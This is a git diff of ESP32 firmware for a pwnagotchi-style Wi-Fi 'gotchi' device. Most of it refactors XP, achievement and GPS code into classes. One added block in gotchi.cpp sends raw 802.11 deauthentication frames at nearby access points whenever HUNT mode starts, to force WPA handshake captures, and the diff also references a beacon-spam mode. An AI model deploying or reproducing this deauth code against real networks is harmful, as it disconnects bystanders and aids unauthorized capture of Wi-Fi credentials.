nvs_set_u32(nvs, "achievements", _achievementsBitmask); + nvs_set_u32(nvs, "dailyseed", _dailyChallengeSeed); + nvs_set_u32(nvs, "dailydone", _dailyChallengeCompleted ? 1 : 0); + nvs_commit(nvs); + nvs_close(nvs); +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/achievement_system.h b/firmware/main/gotchi/achievement_system.h new file mode 100644 index 0000000..3553771 --- /dev/null +++ b/firmware/main/gotchi/achievement_system.h @@ -0,0 +1,39 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class AchievementSystem { +public: + AchievementSystem(); + + void init(); + void update(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config); + + uint32_t getAchievementCount() const { return _achievementCount; } + uint32_t getAchievementsBitmask() const { return _achievementsBitmask; } + + bool getDailyChallenge(ChallengeInfo& challenge); + bool completeDailyChallenge(); + + void loadFromNVS(); + void saveToNVS(); + +private: + void checkUnlockAchievements(uint32_t networksFound, uint32_t handshakes, uint32_t uptimeHours, Mode mode, bool rogue, bool config); + + static const char* DAILY_CHALLENGES[][3]; + + uint32_t _achievementsBitmask; + uint32_t _achievementCount; + uint32_t _dailyChallengeSeed; + bool _dailyChallengeCompleted; + bool _initialized; +}; + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index 99729ca..290668d 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -5,6 +5,8 @@ #include "gotchi.h" #include "storage.h" #include "gps.h" +#include "xp_system.h" +#include "achievement_system.h" #include #include #include @@ -21,6 +23,7 @@ #include #include #include +#include static const char* TAG = "gotchi"; @@ -28,8 +31,8 @@ namespace gotchi { static Mode _currentMode = Mode::IDLE; static Mood _currentMood = Mood::NEUTRAL; -static int32_t _xp = 0; -static int32_t _level = 1; +static XPSystem _xpSystem; +static AchievementSystem _achievementSystem; static bool _initialized = false; static bool _sniffing = false; static bool _wifiInitialized = false; @@ -368,22 +371,6 @@ static int ieee80211_hdrlen(uint16_t fc) { return hdrlen; } -// StackChan-Gotchi unique level titles - robot personality progression -static const char* LEVEL_TITLES[] = { - "Unit", // Lv1 - Freshly booted - "Watcher", // Lv2 - Observing networks - "Scanner", // Lv3 - Active scanning - "Seeker", // Lv4 - Finding targets - "Prowler", // Lv5 - Silent operation - "Phantom", // Lv6 - Undetected - "Apex", // Lv7 - Top predator - "Omega" // Lv8 - Network master -}; - -static const int XP_PER_LEVEL[] = { - 0, 50, 150, 350, 700, 1200, 2000, 3500 -}; - const char* getModeName(Mode mode) { switch (mode) { case Mode::IDLE: return "IDLE"; @@ -400,44 +387,15 @@ const char* getModeName(Mode mode) { } const char* getLevelTitle(int level) { - if (level < 1) level = 1; - if (level > 8) level = 8; - return LEVEL_TITLES[level - 1]; + return _xpSystem.getLevelTitle(); } int getXPForLevel(int level) { - if (level < 1) level = 1; - if (level > 8) level = 8; - return XP_PER_LEVEL[level - 1]; + return _xpSystem.getXPForLevel(level); } int getXPProgress(int32_t xp, int level) { - if (level < 1) level = 1; - if (level > 8) return 100; // Max level - - int currentLevelXP = XP_PER_LEVEL[level - 1]; - int nextLevelXP = (level < 8) ? XP_PER_LEVEL[level] : XP_PER_LEVEL[7]; - - int xpInLevel = xp - currentLevelXP; - int xpNeeded = nextLevelXP - currentLevelXP; - - if (xpNeeded <= 0) return 100; - - int progress = (xpInLevel * 100) / xpNeeded; - if (progress > 100) progress = 100; - if (progress < 0) progress = 0; - - return progress; -} - -static void updateLevel() { - for (int i = 7; i >= 0; i--) { - if (_xp >= XP_PER_LEVEL[i]) { - _level = i + 1; - return; - } - } - _level = 1; + return _xpSystem.getXPProgress(); } static void loadFromNVS() { @@ -453,17 +411,21 @@ static void loadFromNVS() { uint32_t savedNetworks = 0; if (nvs_get_i32(nvs, "xp", &savedXP) == ESP_OK) { - _xp = savedXP; + _xpSystem.addXP(savedXP); } if (nvs_get_i32(nvs, "level", &savedLevel) == ESP_OK) { - _level = savedLevel; + (void)savedLevel; } if (nvs_get_u32(nvs, "netsfound", &savedNetworks) == ESP_OK) { _networksFound = savedNetworks; } nvs_close(nvs); - ESP_LOGI(TAG, "Loaded from NVS: XP=%d, Level=%d, Networks=%u", (int)_xp, (int)_level, (unsigned)_networksFound); + ESP_LOGI(TAG, "Loaded from NVS: XP=%d, Level=%d, Networks=%u", + (int)_xpSystem.getXP(), (int)_xpSystem.getLevel(), (unsigned)_networksFound); + + _xpSystem.loadFromNVS(); + _achievementSystem.loadFromNVS(); } static void saveToNVS() { @@ -474,14 +436,18 @@ static void saveToNVS() { return; } - nvs_set_i32(nvs, "xp", _xp); - nvs_set_i32(nvs, "level", _level); + nvs_set_i32(nvs, "xp", _xpSystem.getXP()); + nvs_set_i32(nvs, "level", _xpSystem.getLevel()); nvs_set_u32(nvs, "netsfound", _networksFound); nvs_set_u32(nvs, "netscnt", (uint32_t)_networks.size()); nvs_commit(nvs); nvs_close(nvs); - ESP_LOGI(TAG, "Saved to NVS: XP=%d, Level=%d, Networks=%u", (int)_xp, (int)_level, (unsigned)_networks.size()); + _xpSystem.saveToNVS(); + _achievementSystem.saveToNVS(); + + ESP_LOGI(TAG, "Saved to NVS: XP=%d, Level=%d, Networks=%u", + (int)_xpSystem.getXP(), (int)_xpSystem.getLevel(), (unsigned)_networks.size()); } void init() { @@ -506,9 +472,13 @@ void init() { // Load saved XP/level from NVS loadFromNVS(); + + // Initialize XP and Achievement systems + _xpSystem.init(); + _achievementSystem.init(); // Initialize GPS - initGPS(); + getGpsManager().init(); // Initialize storage and load config if (initStorage()) { @@ -544,7 +514,7 @@ void update() { if (!_initialized) return; // Update GPS data - updateGPS(); + getGpsManager().update(); uint32_t now = GetHAL().millis(); uint32_t uptime = (now - _startTime) / 1000; @@ -572,6 +542,88 @@ void update() { } } +static TaskHandle_t _deauthTaskHandle = nullptr; +static bool _deauthActive = false; + +static void sendDeauthFrame(const uint8_t* bssid, uint8_t reason) { + uint8_t deauth[32]; + memset(deauth, 0, sizeof(deauth)); + + deauth[0] = 0xC0; + deauth[1] = 0x00; + deauth[2] = 0x00; + deauth[3] = 0x00; + memcpy(&deauth[4], bssid, 6); + memcpy(&deauth[10], bssid, 6); + memcpy(&deauth[16], bssid, 6); + deauth[22] = reason; + + esp_wifi_80211_tx(WIFI_IF_STA, deauth, 23, false); +} + +static void deauthTask(void* param) { + (void)param; + ESP_LOGI(TAG, "Deauth task started"); + + uint32_t lastDeauth = 0; + uint32_t deauthCount = 0; + + while (_deauthActive && _currentMode == Mode::HUNT) { + uint32_t now = GetHAL().millis(); + + if (now - lastDeauth > 3000) { + lastDeauth = now; + + const uint8_t DISASSOC_REASON = 0x03; + + for (const auto& net : _networks) { + if (!_deauthActive || _currentMode != Mode::HUNT) break; + if (net.hasCapture) continue; + if (net.channel != _currentChannel) continue; + + sendDeauthFrame(net.bssid, DISASSOC_REASON); + deauthCount++; + + vTaskDelay(pdMS_TO_TICKS(50)); + + if (deauthCount >= 5) break; + } + + if (deauthCount % 30 == 0 && deauthCount > 0) { + ESP_LOGI(TAG, "Deauth frames sent: %u", deauthCount); + } + } + + vTaskDelay(pdMS_TO_TICKS(500)); + } + + ESP_LOGI(TAG, "Deauth task stopped, sent %u frames", deauthCount); + _deauthActive = false; + vTaskDelete(NULL); +} + +static void startDeauth() { + if (_deauthActive) return; + if (_currentMode != Mode::HUNT) return; + + ESP_LOGI(TAG, "Starting deauth for handshake capture"); + _deauthActive = true; + xTaskCreate(deauthTask, "deauth_task", 2048, NULL, 3, &_deauthTaskHandle); +} + +static void stopDeauth() { + if (!_deauthActive) return; + + _deauthActive = false; + + if (_deauthTaskHandle) { + vTaskDelay(pdMS_TO_TICKS(100)); + _deauthTaskHandle = nullptr; + } + + ESP_LOGI(TAG, "Deauth attack stopped"); +} + void shutdown() { if (!_initialized) return; @@ -607,49 +659,53 @@ void setMode(Mode mode) { if (_configModeActive) { stopConfigMode(); } + if (_deauthActive) { + stopDeauth(); + } // Start appropriate mode switch (mode) { case Mode::HUNT: - ESP_LOGI(TAG, "Starting HUNT mode (promiscuous)"); + ESP_LOGI(TAG, "Starting HUNT mode (promiscuous + deauth)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startSniff(); + startDeauth(); break; case Mode::SCOUT: ESP_LOGI(TAG, "Starting SCOUT mode (active scan)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startScout(); break; case Mode::WARDIVE: ESP_LOGI(TAG, "Starting WARDIVE mode (passive)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startSniff(); break; case Mode::SPECTRUM: ESP_LOGI(TAG, "Starting SPECTRUM mode (passive)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startSniff(); break; case Mode::BLE_SCAN: ESP_LOGI(TAG, "Starting BLE-SCAN mode (BLE scan)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startBLEScan(); break; case Mode::ROGUE: ESP_LOGI(TAG, "Starting ROGUE mode (beacon spam)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startRogue(); break; case Mode::CONFIG: ESP_LOGI(TAG, "Starting CONFIG mode (web server)"); _sessionStartTime = GetHAL().millis(); - _sessionStartXP = _xp; + _sessionStartXP = _xpSystem.getXP(); startConfigMode(); break; case Mode::IDLE: @@ -701,8 +757,8 @@ Mood getCurrentMood() { Stats getStats() { Stats stats; - stats.xp = _xp; - stats.level = _level; + stats.xp = _xpSystem.getXP(); + stats.level = _xpSystem.getLevel(); stats.networksFound = _networksFound; stats.handshakesCaptured = _handshakesCaptured; stats.channelsScanned = _channelsScanned; @@ -712,7 +768,7 @@ Stats getStats() { stats.sessionNetworks = _networks.size(); stats.sessionTimeSeconds = (GetHAL().millis() - _sessionStartTime) / 1000; stats.sessionStartTime = _sessionStartTime; - stats.sessionXPGain = _xp - _sessionStartXP; + stats.sessionXPGain = _xpSystem.getXP() - _sessionStartXP; stats.currentChannel = _currentChannel; // Heap monitoring @@ -723,7 +779,7 @@ Stats getStats() { stats.minHeap = _minHeapSession; // GPS data - GPSData gps = getGPSData(); + GPSData gps = getGpsManager().getData(); stats.gpsValid = gps.valid; stats.gpsSatellites = gps.satellites; stats.gpsLat = gps.latitude; @@ -737,45 +793,41 @@ GotchiConfig getConfig() { } void addXP(int32_t amount) { - // Apply mode-specific multipliers + if (!_initialized) return; + if (amount <= 0) return; + + // Apply mode-specific multipliers to XP float multiplier = 1.0f; switch (_currentMode) { case Mode::WARDIVE: - multiplier = 1.5f; // Active wardriving = bonus XP + multiplier = 1.5f; break; case Mode::SPECTRUM: - multiplier = 1.2f; // Channel analysis is valuable + multiplier = 1.2f; break; case Mode::SCOUT: - multiplier = 0.8f; // Passive scanning = less effort + multiplier = 0.8f; break; case Mode::IDLE: - multiplier = 0.0f; // No XP in idle + multiplier = 0.0f; break; default: multiplier = 1.0f; break; } - int32_t effectiveAmount = (int32_t)(amount * multiplier); - int32_t oldXP = _xp; - _xp += effectiveAmount; - if (_xp < 0) _xp = 0; - updateLevel(); - - // Save to NVS when XP increases (throttled - max once per minute) - static uint32_t lastSave = 0; - uint32_t now = GetHAL().millis(); - if (_xp > oldXP && (now - lastSave) > 60000) { - lastSave = now; - saveToNVS(); - } +int32_t effectiveAmount = (int32_t)(amount * multiplier); + _xpSystem.addXP(effectiveAmount); } std::vector getNetworks() { return _networks; } +int getNetworkCount() { + return (int)_networks.size(); +} + void startSniff() { if (_sniffing) return; @@ -793,6 +845,7 @@ void startSniff() { ret = esp_wifi_set_mode(WIFI_MODE_STA); if (ret != ESP_OK) { ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); + esp_wifi_deinit(); return; } vTaskDelay(pdMS_TO_TICKS(100)); @@ -860,6 +913,7 @@ void startScout() { ret = esp_wifi_set_mode(WIFI_MODE_STA); if (ret != ESP_OK) { ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); + esp_wifi_deinit(); return; } vTaskDelay(pdMS_TO_TICKS(50)); @@ -1696,16 +1750,19 @@ void acknowledgeHuntDisclaimer() { } bool isDeepThoughtUnlocked() { - return _level >= 5; + return _xpSystem.getLevel() >= 5; } uint32_t getAchievementsBitmask() { - return 0; + return _achievementSystem.getAchievementsBitmask(); } bool getDailyChallenge(ChallengeInfo& challenge) { - challenge = {"Daily Scan", "Scan 10 networks", 50, true, false}; - return true; + return _achievementSystem.getDailyChallenge(challenge); +} + +bool completeDailyChallenge() { + return _achievementSystem.completeDailyChallenge(); } } \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.h b/firmware/main/gotchi/gotchi.h index 54ee1f1..4d606e8 100644 --- a/firmware/main/gotchi/gotchi.h +++ b/firmware/main/gotchi/gotchi.h @@ -6,6 +6,7 @@ #include #include #include +#include // Forward declaration (avoid circular include with storage.h) namespace gotchi { @@ -14,6 +15,9 @@ struct GotchiConfig; namespace gotchi { +//============================================================================= +// ENUMS +//============================================================================= enum class Mode { IDLE, SCOUT, @@ -35,6 +39,9 @@ enum class Mood { SAD }; +//============================================================================= +// DATA STRUCTURES +//============================================================================= struct NetworkInfo { char ssid[33]; // Fixed size to avoid heap in WiFi callback uint8_t bssid[6]; @@ -65,11 +72,6 @@ struct BLEDeviceInfo { uint32_t lastSeen; // Timestamp }; -void addHandshake(const HandshakeInfo& hs); -std::vector getHandshakes(); -int getHandshakeCount(); -bool hasCompleteHandshake(const uint8_t* bssid); - struct ChannelInfo { uint8_t channel; uint8_t networkCount; @@ -77,20 +79,6 @@ struct ChannelInfo { int8_t avgRssi; }; -std::vector getChannelAnalysis(); - -bool hasStorage(); - -const char* getModeName(Mode mode); -const char* getLevelTitle(int level); -int getXPForLevel(int level); -int getXPProgress(int32_t xp, int level); -bool isDeepThoughtUnlocked(); -uint8_t getPrestige(); -uint32_t getAchievementCount(); -uint32_t getAchievementsBitmask(); // Get full achievement bitmask - -// Challenge system struct ChallengeInfo { const char* name; const char* description; @@ -99,13 +87,6 @@ struct ChallengeInfo { bool isOneTime; }; -bool getDailyChallenge(ChallengeInfo& challenge); -bool completeDailyChallenge(); -bool hasCompletedOneTimeChallenge(int id); -bool completeOneTimeChallenge(int id); -void refreshDailyChallenge(); - -// Stats extended struct Stats { int32_t xp; int32_t level; @@ -117,13 +98,13 @@ struct Stats { uint32_t uptimeSeconds; // Session statistics (reset on reboot) - uint32_t sessionNetworks; // Networks found this session - uint32_t sessionTimeSeconds; // Time in current mode - uint32_t sessionStartTime; // When current mode started - uint32_t sessionXPGain; // XP earned this session - uint8_t currentChannel; // Current WiFi channel - int32_t freeHeap; // Current heap in bytes - int32_t minHeap; // Minimum heap this session + uint32_t sessionNetworks; + uint32_t sessionTimeSeconds; + uint32_t sessionStartTime; + uint32_t sessionXPGain; + uint8_t currentChannel; + int32_t freeHeap; + int32_t minHeap; // GPS data bool gpsValid; @@ -132,40 +113,84 @@ struct Stats { double gpsLon; }; +//============================================================================= +// LIFECYCLE +//============================================================================= void init(); void update(); void shutdown(); +//============================================================================= +// MODE & STATE +//============================================================================= void setMode(Mode mode); Mode getCurrentMode(); - void setMood(Mood mood); Mood getCurrentMood(); +//============================================================================= +// STATS & PROGRESS +//============================================================================= Stats getStats(); GotchiConfig getConfig(); void addXP(int32_t amount); -bool shouldShowHuntDisclaimer(); -void acknowledgeHuntDisclaimer(); +const char* getLevelTitle(int level); +int getXPForLevel(int level); +int getXPProgress(int32_t xp, int level); + +//============================================================================= +// ACHIEVEMENTS & CHALLENGES +//============================================================================= +uint32_t getAchievementCount(); +uint32_t getAchievementsBitmask(); +bool getDailyChallenge(ChallengeInfo& challenge); +bool completeDailyChallenge(); +//============================================================================= +// WIFI OPERATIONS +//============================================================================= std::vector getNetworks(); +int getNetworkCount(); +std::vector getHandshakes(); +int getHandshakeCount(); +bool hasCompleteHandshake(const uint8_t* bssid); +std::vector getChannelAnalysis(); void startSniff(); void stopSniff(); void startScout(); void stopScout(); + +//============================================================================= +// ROGUE AP (Educational) +//============================================================================= void startRogue(); void stopRogue(); +bool isBeaconSpamming(); + +//============================================================================= +// CONFIG MODE +//============================================================================= void startConfigMode(); void stopConfigMode(); - -bool isSniffing(); -bool isBeaconSpamming(); bool isConfigMode(); +//============================================================================= +// BLUETOOTH LE +//============================================================================= std::vector getBLEDevices(); void startBLEScan(); void stopBLEScan(); int getBLEDeviceCount(); +//============================================================================= +// UTILITIES +//============================================================================= +bool hasStorage(); +const char* getModeName(Mode mode); +bool isDeepThoughtUnlocked(); +uint8_t getPrestige(); +bool shouldShowHuntDisclaimer(); +void acknowledgeHuntDisclaimer(); + } \ No newline at end of file diff --git a/firmware/main/gotchi/gps.cpp b/firmware/main/gotchi/gps.cpp index 15a20bf..4ce3908 100644 --- a/firmware/main/gotchi/gps.cpp +++ b/firmware/main/gotchi/gps.cpp @@ -15,28 +15,108 @@ static const char* TAG = "gotchi_gps"; namespace gotchi { -static GPSData _gpsData; -static bool _gpsInitialized = false; +//============================================================================= +// GpsManager Class Implementation +//============================================================================= +GpsManager::GpsManager() : _initialized(false), _bufferPos(0) {} -static const uart_port_t GPS_UART_NUM = UART_NUM_2; -static const int GPS_TX_PIN = GPIO_NUM_14; -static const int GPS_RX_PIN = GPIO_NUM_13; -static const int GPS_BUF_SIZE = 512; +void GpsManager::init() { + if (_initialized) return; + + ESP_LOGI(TAG, "Initializing GPS..."); + + uart_config_t uart_config = { + .baud_rate = 9600, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .rx_flow_ctrl_thresh = 0, + .source_clk = UART_SCLK_DEFAULT, + }; + + esp_err_t ret = uart_param_config(GPS_UART_NUM, &uart_config); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "UART param config failed: %d", ret); + return; + } + + ret = uart_set_pin(GPS_UART_NUM, GPS_TX_PIN, GPS_RX_PIN, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "UART set pin failed: %d", ret); + return; + } + + ret = uart_driver_install(GPS_UART_NUM, GPS_BUF_SIZE * 2, 0, 0, NULL, 0); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "UART driver install failed: %d", ret); + return; + } + + _initialized = true; + ESP_LOGI(TAG, "GPS initialized"); +} + +void GpsManager::update() { + if (!_initialized) return; + + uint8_t data[128]; + int len = uart_read_bytes(GPS_UART_NUM, data, sizeof(data) - 1, 0); + + for (int i = 0; i < len; i++) { + if (data[i] == '\n') { + _gpsBuffer[_bufferPos] = '\0'; + if (_bufferPos > 6 && _gpsBuffer[0] == '$') { + parseNMEASentence((const char*)_gpsBuffer); + } + _bufferPos = 0; + } else if (data[i] != '\r' && _bufferPos < GPS_BUF_SIZE - 1) { + _gpsBuffer[_bufferPos++] = data[i]; + } + } +} -static uint8_t _gpsBuffer[GPS_BUF_SIZE]; -static int _bufferPos = 0; +GPSData GpsManager::getData() { + return _gpsData; +} -static double parseNMEAfloat(const char* s) { +bool GpsManager::hasFix() { + return _gpsData.valid && _gpsData.fixQuality > 0; +} + +void GpsManager::parseNMEASentence(const char* sentence) { + if (!validateNMEA(sentence)) return; + + const char* fields[32]; + int fieldCount = 0; + + fields[fieldCount++] = sentence; + for (const char* p = sentence; *p && fieldCount < 32; p++) { + if (*p == ',') { + fields[fieldCount++] = p + 1; + } + } + + if (fieldCount < 3) return; + + if (strncmp(sentence + 3, "GGA", 3) == 0) { + parseGGA(fields, fieldCount); + } else if (strncmp(sentence + 3, "RMC", 3) == 0) { + parseRMC(fields, fieldCount); + } +} + +double GpsManager::parseNMEAfloat(const char* s) { if (!s || *s == '\0') return 0; return atof(s); } -static int parseNMEAint(const char* s) { +int GpsManager::parseNMEAint(const char* s) { if (!s || *s == '\0') return 0; return atoi(s); } -static uint8_t nmeaChecksum(const char* s) { +uint8_t GpsManager::nmeaChecksum(const char* s) { uint8_t sum = 0; if (*s == '$') s++; while (*s && *s != '*') { @@ -45,7 +125,7 @@ static uint8_t nmeaChecksum(const char* s) { return sum; } -static bool validateNMEA(const char* sentence) { +bool GpsManager::validateNMEA(const char* sentence) { const char* star = strchr(sentence, '*'); if (!star) return false; @@ -60,7 +140,7 @@ static bool validateNMEA(const char* sentence) { return (receivedChecksum[0] == calculated[0] && receivedChecksum[1] == calculated[1]); } -static void parseGGA(const char* fields[], int count) { +void GpsManager::parseGGA(const char* fields[], int count) { if (count < 10) return; if (fields[6] && *fields[6] != '0') { @@ -79,27 +159,25 @@ static void parseGGA(const char* fields[], int count) { double lat = parseNMEAfloat(fields[2]); double latDir = (*fields[3] == 'S') ? -1.0 : 1.0; - int latDeg = (int)(lat / 100); - double latMin = lat - latDeg * 100; - _gpsData.latitude = (latDeg + latMin / 60.0) * latDir; + int deg = (int)(lat / 100); + double min = lat - deg * 100; + _gpsData.latitude = (deg + min / 60.0) * latDir; } if (count >= 13 && fields[4] && *fields[4] && fields[5] && *fields[5]) { double lon = parseNMEAfloat(fields[4]); double lonDir = (*fields[5] == 'W') ? -1.0 : 1.0; - int lonDeg = (int)(lon / 100); - double lonMin = lon - lonDeg * 100; - _gpsData.longitude = (lonDeg + lonMin / 60.0) * lonDir; + int deg = (int)(lon / 100); + double min = lon - deg * 100; + _gpsData.longitude = (deg + min / 60.0) * lonDir; } - if (_gpsData.fixQuality > 0 && _gpsData.latitude != 0 && _gpsData.longitude != 0) { - _gpsData.valid = true; - _gpsData.timestamp = GetHAL().millis(); - } + _gpsData.valid = (_gpsData.fixQuality > 0); + _gpsData.timestamp = GetHAL().millis(); } -static void parseRMC(const char* fields[], int count) { +void GpsManager::parseRMC(const char* fields[], int count) { if (count < 10) return; if (fields[2] && *fields[2] == 'A') { @@ -108,107 +186,17 @@ static void parseRMC(const char* fields[], int count) { if (fields[7] && *fields[7]) { float speedKnots = parseNMEAfloat(fields[7]); - _gpsData.speed = speedKnots * 0.514444f; - } - - if (fields[8] && *fields[8]) { - // Course (heading) - available for future use - // float course = parseNMEAfloat(fields[8]); + _gpsData.speed = speedKnots * 1.852f; } } -static void parseNMEASentence(const char* sentence) { - if (!validateNMEA(sentence)) return; - - static const int MAX_FIELDS = 20; - const char* fields[MAX_FIELDS]; - int fieldCount = 0; - - fields[fieldCount++] = sentence + 1; - - for (int i = 1; i < MAX_FIELDS - 1 && fieldCount < MAX_FIELDS; i++) { - const char* comma = strchr(fields[i-1], ','); - if (!comma) break; - fields[i] = comma + 1; - fieldCount = i + 1; - } - - const char* type = fields[0]; - if (strncmp(type, "GGA", 3) == 0) { - parseGGA(fields, fieldCount); - } else if (strncmp(type, "RMC", 3) == 0) { - parseRMC(fields, fieldCount); - } -} +//============================================================================= +// Global Instance +//============================================================================= +static GpsManager _gpsManager; -static void processGPSChar(char c) { - if (c == '\n' || c == '\r') { - if (_bufferPos > 0) { - _gpsBuffer[_bufferPos] = '\0'; - if (_gpsBuffer[0] == '$') { - parseNMEASentence((const char*)_gpsBuffer); - } - _bufferPos = 0; - } - } else if (_bufferPos < GPS_BUF_SIZE - 1) { - _gpsBuffer[_bufferPos++] = c; - } -} - -void initGPS() { - if (_gpsInitialized) return; - - ESP_LOGI(TAG, "Initializing GPS on UART2..."); - - uart_config_t uartConfig = { - .baud_rate = 9600, - .data_bits = UART_DATA_8_BITS, - .parity = UART_PARITY_DISABLE, - .stop_bits = UART_STOP_BITS_1, - .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, - .rx_flow_ctrl_thresh = 0, - .source_clk = UART_SCLK_DEFAULT, - }; - - esp_err_t ret = uart_param_config(GPS_UART_NUM, &uartConfig); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "UART config failed: %d", ret); - return; - } - - ret = uart_set_pin(GPS_UART_NUM, GPS_TX_PIN, GPS_RX_PIN, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "UART pin config failed: %d", ret); - return; - } - - ret = uart_driver_install(GPS_UART_NUM, GPS_BUF_SIZE * 2, GPS_BUF_SIZE * 2, 0, NULL, 0); - if (ret != ESP_OK) { - ESP_LOGE(TAG, "UART driver install failed: %d", ret); - return; - } - - _gpsInitialized = true; - ESP_LOGI(TAG, "GPS initialized successfully"); -} - -void updateGPS() { - if (!_gpsInitialized) return; - - uint8_t data[64]; - int len = uart_read_bytes(GPS_UART_NUM, data, sizeof(data) - 1, 0); - - for (int i = 0; i < len; i++) { - processGPSChar((char)data[i]); - } -} - -GPSData getGPSData() { - return _gpsData; -} - -bool hasGPSFix() { - return _gpsData.valid && _gpsData.fixQuality > 0; +GpsManager& getGpsManager() { + return _gpsManager; } } \ No newline at end of file diff --git a/firmware/main/gotchi/gps.h b/firmware/main/gotchi/gps.h index ee13d1f..0393898 100644 --- a/firmware/main/gotchi/gps.h +++ b/firmware/main/gotchi/gps.h @@ -5,6 +5,8 @@ #pragma once #include +#include +#include namespace gotchi { @@ -22,9 +24,36 @@ struct GPSData { satellites(0), fixQuality(0), valid(false), timestamp(0) {} }; -void initGPS(); -void updateGPS(); -GPSData getGPSData(); -bool hasGPSFix(); +class GpsManager { +public: + GpsManager(); + + void init(); + void update(); + GPSData getData(); + bool hasFix(); + +private: + void parseNMEASentence(const char* sentence); + double parseNMEAfloat(const char* s); + int parseNMEAint(const char* s); + uint8_t nmeaChecksum(const char* s); + bool validateNMEA(const char* sentence); + void parseGGA(const char* fields[], int count); + void parseRMC(const char* fields[], int count); + + static const uart_port_t GPS_UART_NUM = UART_NUM_2; + static const int GPS_TX_PIN = GPIO_NUM_14; + static const int GPS_RX_PIN = GPIO_NUM_13; + static const int GPS_BUF_SIZE = 512; + + GPSData _gpsData; + bool _initialized; + uint8_t _gpsBuffer[GPS_BUF_SIZE]; + int _bufferPos; +}; + +// Global instance for easy access +GpsManager& getGpsManager(); } \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.h b/firmware/main/gotchi/idle_dialogue.h index da4d525..cc0ed7e 100644 --- a/firmware/main/gotchi/idle_dialogue.h +++ b/firmware/main/gotchi/idle_dialogue.h @@ -42,7 +42,7 @@ class IdleDialogue { private: uint32_t _lastSpeakTime = 0; - uint32_t _cooldownMs = 4000; // 4 seconds between idle phrases + uint32_t _cooldownMs = 5000; // 5 seconds between idle phrases int _lastPhraseIndex = -1; const char* _getObservingPhrase(); diff --git a/firmware/main/gotchi/web_manager.h b/firmware/main/gotchi/web_manager.h new file mode 100644 index 0000000..5205020 --- /dev/null +++ b/firmware/main/gotchi/web_manager.h @@ -0,0 +1,52 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +class WebManager { +public: + WebManager(); + ~WebManager(); + + void start(); + void stop(); + bool isRunning() const { return _server != nullptr; } + + // HTML loading modes + enum class HtmlSource { + Internal, // Use const char* (current) + File // Load from SD card file (future) + }; + void setHtmlSource(HtmlSource source, const char* path = nullptr); + +private: + // HTTP handlers + static esp_err_t rootHandler(httpd_req_t* req); + static esp_err_t apiConfigHandler(httpd_req_t* req); + static esp_err_t apiStatsHandler(httpd_req_t* req); + static esp_err_t apiRogueHandler(httpd_req_t* req); + static esp_err_t apiFilesHandler(httpd_req_t* req); + static esp_err_t apiWigleHandler(httpd_req_t* req); + static esp_err_t apiPwnagotchiHandler(httpd_req_t* req); + + // HTML generation + const char* generateHtml(); + const char* loadHtmlFromFile(const char* path); + + httpd_handle_t _server; + HtmlSource _htmlSource; + char _htmlFilePath[128]; + + static WebManager* _instance; + static WebManager* getInstance() { return _instance; } +}; + +// Global access +WebManager& getWebManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/xp_system.cpp b/firmware/main/gotchi/xp_system.cpp new file mode 100644 index 0000000..a3122cc --- /dev/null +++ b/firmware/main/gotchi/xp_system.cpp @@ -0,0 +1,134 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "xp_system.h" +#include +#include +#include + +static const char* TAG = "gotchi_xp"; + +namespace gotchi { + +const char* XPSystem::LEVEL_TITLES[] = { + "Unit", "Watcher", "Scanner", "Seeker", + "Prowler", "Phantom", "Apex", "Omega" +}; + +const int XPSystem::XP_PER_LEVEL[] = { + 0, 50, 150, 350, 700, 1200, 2000, 3500 +}; + +XPSystem::XPSystem() : _xp(0), _level(1), _prestige(0), _initialized(false) {} + +void XPSystem::init() { + if (_initialized) return; + loadFromNVS(); + _initialized = true; + ESP_LOGI(TAG, "XP System initialized: XP=%d, Level=%d, Prestige=%u", (int)_xp, (int)_level, _prestige); +} + +void XPSystem::addXP(int32_t amount) { + if (amount <= 0) return; + _xp += amount; + updateLevel(); + + static uint32_t lastSave = 0; + uint32_t now = GetHAL().millis(); + if ((now - lastSave) > 60000) { + lastSave = now; + saveToNVS(); + } +} + +void XPSystem::updateLevel() { + for (int i = 7; i >= 0; i--) { + if (_xp >= XP_PER_LEVEL[i]) { + _level = i + 1; + return; + } + } + _level = 1; +} + +const char* XPSystem::getLevelTitle() const { + int lvl = _level; + if (lvl < 1) lvl = 1; + if (lvl > 8) lvl = 8; + return LEVEL_TITLES[lvl - 